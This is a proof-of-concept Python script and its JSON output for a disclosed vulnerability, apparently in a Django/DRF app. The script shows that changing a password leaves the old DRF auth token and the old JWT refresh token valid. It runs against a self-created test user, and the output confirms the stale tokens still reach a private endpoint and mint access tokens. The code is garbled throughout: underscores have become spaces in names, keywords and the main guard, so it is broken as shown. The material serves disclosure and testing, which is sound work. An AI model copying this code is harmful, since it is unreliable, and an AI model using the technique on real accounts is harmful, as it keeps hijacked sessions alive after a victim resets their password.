CVE-2026-46437

import json
import os


def main() -> None:
  """
  PoC for IDENTITY-VULN-01:
  Proves that password change does not revoke:
   - DRF authtoken (Authorization: Token <key>)
   - JWT refresh tokens (still mint access tokens)

  This PoC runs entirely in-process using Django's test client + DRF APIClient.
  It does not require running the dev server.
  """

  os.environ.setdefault("DJANGO SETTINGS MODULE", "settings.main")
  # Ensure we use the local sqlite DB path used during setup
  os.environ.setdefault("DJANGO DB DATABASE", "db.sqlite3")
  os.environ.setdefault("DJANGO MEDIA ROOT", "media")

  import django

  django.setup()

  from django.conf import settings
  from django.contrib.auth.models import User
  from django.test import Client
  from rest framework.authtoken.models import Token
  from rest framework.test import APIClient

  username = "pwchange user poc"
  old pw = "OldPassw0rd!"
  new pw = "NewPassw0rd!"

  # Create a clean user + DRF token
  User.objects.filter(username=username).delete()
  user = User.objects.create user(username=username, password=old pw)
  Token.objects.filter(user=user).delete()
  drf token = Token.objects.create(user=user).key

  api = APIClient()

  # Obtain JWT tokens with old password (proof baseline)
  r obtain = api.post("/api/v2/token", {"username": username, "password": old pw}, format="json")
  refresh = getattr(r obtain, "data", {}).get("refresh")

  # Change password through the actual password change endpoint
  web = Client()
  web.force login(user)
  r pw = web.post(
    "/en/user/password/change",
    data={"old password": old pw, "new password1": new pw, "new password2": new pw},
    follow=False,
  )

  # Old password should fail now (sanity check)
  r obtain old = api.post(
    "/api/v2/token",
    {"username": username, "password": old pw},
    format="json",
  )

  # New password should work
  r obtain new = api.post(
    "/api/v2/token",
    {"username": username, "password": new pw},
    format="json",
  )

  # DRF token remains valid (private endpoint still accessible)
  api.credentials(HTTP AUTHORIZATION=f"Token {drf token}")
  r drf = api.get("/api/v2/weightentry/")

  # Old refresh remains valid (still mints a new access token)
  api.credentials()
  r refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

  out = {
    "jwt refresh lifetime seconds": int(settings.SIMPLE JWT["REFRESH TOKEN LIFETIME"].total seconds()),
    "jwt access lifetime seconds": int(settings.SIMPLE JWT["ACCESS TOKEN LIFETIME"].total seconds()),
    "jwt obtain oldpw before change": r obtain.status code,
    "password change status": r pw.status code,
    "jwt obtain oldpw after change": r obtain old.status code,
    "jwt obtain newpw after change": r obtain new.status code,
    "drf token private api after change": r drf.status code,
    "jwt refresh with old refresh after change": r refresh.status code,
    "jwt refresh response keys": sorted(list(getattr(r refresh, "data", {}).keys())),
  }

  print(json.dumps(out, indent=2))


if  name  == " main ":
  main()

{
 "jwt refresh lifetime seconds": 86400,
 "jwt access lifetime seconds": 900,
 "jwt obtain oldpw before change": 200,
 "password change status": 302,
 "jwt obtain oldpw after change": 401,
 "jwt obtain newpw after change": 200,
 "drf token private api after change": 200,
 "jwt refresh with old refresh after change": 200,
 "jwt refresh response keys": [
  "access"
 ]
}